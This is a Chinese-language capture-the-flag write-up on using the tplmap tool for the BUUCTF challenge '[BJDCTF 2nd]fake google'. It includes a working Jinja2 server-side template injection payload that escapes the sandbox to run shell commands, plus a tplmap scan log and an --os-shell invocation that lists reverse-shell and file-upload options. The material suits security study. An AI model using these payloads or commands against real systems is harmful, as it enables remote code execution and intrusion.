記一次tplmap的簡單使用案例


記一次tplmap的簡單使用案例


Tplmap簡介

Tplmap是一個python工具,可以通過使用沙箱轉義技術找到代碼注入和服務器端模板注入(SSTI)漏洞。該工具能夠在許多模板引擎中利用SSTI來訪問目標文件或操作系統。一些受支持的模板引擎包括PHP(代碼評估),Ruby(代碼評估),JaveScript(代碼評估),Python(代碼評估),ERB,Jinja2和Tornado。該工具可以執行對這些模板引擎的盲注入,並具有執行遠程命令的能力。

tplmap安裝步驟

在kali打開終端,輸入

git clone https://github.com/epinna/tplmap

git clone具體的可以看我這篇博文哦

https://www.cnblogs.com/LEOGG321/p/13434491.html

以上就是我們安裝的過程了,接下來拿一道例題來做個使用案例

我們拿BUUCTF來復現,[BJDCTF 2nd]fake google這道題

案例[BJDCTF 2nd]fake google

方法一:手工注

這道題可以手工注,這里直接放一下payload

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

模板注入語句解釋如下

  • {% for c in [].__class__.__base__.__subclasses__() %} //list下遍歷
  • {% if c.__name__=='catch_warnings' %} //判斷目標
  • {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}} //拼接
  • {% endif %}{% endfor %} //結束循環和判斷

方法二:tplmap

使用tplmap工具

在tplmap文件夾下打開終端

鍵入命令,-u指定url

./tplmap.py -u http://4ed902ae-b677-45c3-a0c1-4c8a88af7f07.node3.buuoj.cn/qaq?name=1

下面是回顯信息

root@kali:~/tplmap# ./tplmap.py -u http://4ed902ae-b677-45c3-a0c1-4c8a88af7f07.node3.buuoj.cn/qaq?name=1
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

    --os-shell				Run shell on the target
    --os-cmd				Execute shell commands
    --bind-shell PORT			Connect to a shell bind to a target port
    --reverse-shell HOST PORT	Send a shell back to the attacker's port
    --upload LOCAL REMOTE	Upload files to the server
    --download REMOTE LOCAL	Download remote files

可以看到是Jinja2模板,同時最下面還提示我們可以使用--os-shell拿shell

./tplmap.py -u http://4ed902ae-b677-45c3-a0c1-4c8a88af7f07.node3.buuoj.cn/qaq?name=1 --engine=Jinja2 --os-shell

在輸入完url后,別忘了--engine指定模板

image-20200805171532115

ls ../看下目錄,發現有flag,cat /flag即可

image-20200805171959240

拿下!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM